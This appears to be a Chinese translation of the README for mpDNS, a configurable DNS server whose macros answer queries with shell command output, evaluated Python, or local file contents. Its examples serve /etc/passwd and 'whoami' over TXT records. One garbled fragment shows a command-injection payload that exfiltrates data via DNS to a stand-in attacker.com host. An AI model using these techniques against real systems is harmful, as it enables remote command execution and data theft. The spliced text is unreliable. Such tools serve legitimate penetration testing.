简单、可配置的 DNS 服务器，具有多个实用功能
{{shellexec::dig google.com +short}} -> 执行 shell 命令并以结果响应{{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> 执行你的 Python 代码{{file::/etc/passwd}} -> 以本地文件内容响应{{filelist::/somefile.list}} -> 逐行以多个结果响应{{resolve}} -> 将 DNS 请求转发到本地系统 DNS{{resolve::example.com}} -> 解析 example.com 而非原始记录{{echo}} -> 返回对端地址作为响应{{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> 使用变量基于 https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db
现在你可以根据 names.db.example 在 names.db 中填写你的 DNS 记录
用法：./mpdns.py
./mpdns.py -e 编辑 names.db 中的 DNS 记录，无需重启/ping.php?ip=$(dig $(whoami).attacker.com)）TXT 查询中轻松渗透 65K 数据TXT 记录，这些记录会被分割为 256 字节的块，直到响应达到最大允许的 65200 字节。{{file:localfile.txt}} 的 TXT 记录限制为 65200 字节。test.*.example.com{{resolve::example.com}} 中不支持自定义 DNS 服务器解析器TTL 始终设置为 0names.db 示例：
# 空配置将导致空但有效的响应
#
# Unicode 域名不受支持，但仍可被服务器捕获。
# 例如 мама-сервер-unicode.google.com 会被捕获，但返回 SERVFAIL 响应
passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored
shellexec TXT {{shellexec::whoami}}
eval TXT {{eval::import random; res = random.randint(1,500)}}
resolve1 A {{resolve}}
resolve2 A {{resolve::self}} #same as previous
resolve3 A {{resolve::example.com}}
blabla.com A 5.5.5.5
* A 127.0.0.1
*.example.com A 7.7.7.7
c1.example.com CNAME c2.example.com
c2.example.com CNAME c3.example.com
c3.example.com CNAME google.example.com
google.example.com CNAME google.com
test.example.com A 8.8.8.8
google.com A {{resolve::self}}
notgoogle.com A {{resolve::google.com}}
从数据库常规解析：dig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
mpDNS 输出： - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
递归 CNAME 解析：dig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com. IN A
;; ANSWER SECTION:
c1.example.com. 0 IN CNAME c2.example.com.
c2.example.com. 0 IN CNAME c3.example.com.
c3.example.com. 0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com. 0 IN A 216.58.206.14
mpDNS 输出：
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)
- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
通配符解析：dig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com. 0 IN A 127.0.0.1
mpDNS 输出： - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
通配符子域名解析：dig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
mpDNS 输出： - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)
转发请求宏：dig google.com @localhost
;; ANSWER SECTION:
google.com. 0 IN A 172.217.22.110
mpDNS 输出： - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)
自定义域名转发请求宏：dig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com. 0 IN A 172.217.22.110
mpDNS 输出： - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)
通过 TXT 查询的文件内容宏：dig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
mpDNS 输出： - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)
通过 TXT 查询的自定义 Python 代码宏：dig txt eval @localhost
;; ANSWER SECTION:
eval. 0 IN TXT "320"
mpDNS 输出： - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)
通过 TXT 查询的 shell 命令宏：dig txt shellexec @localhost
;; ANSWER SECTION:
shellexec. 0 IN TXT "root"
mpDNS 输出： - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)
玩得开心！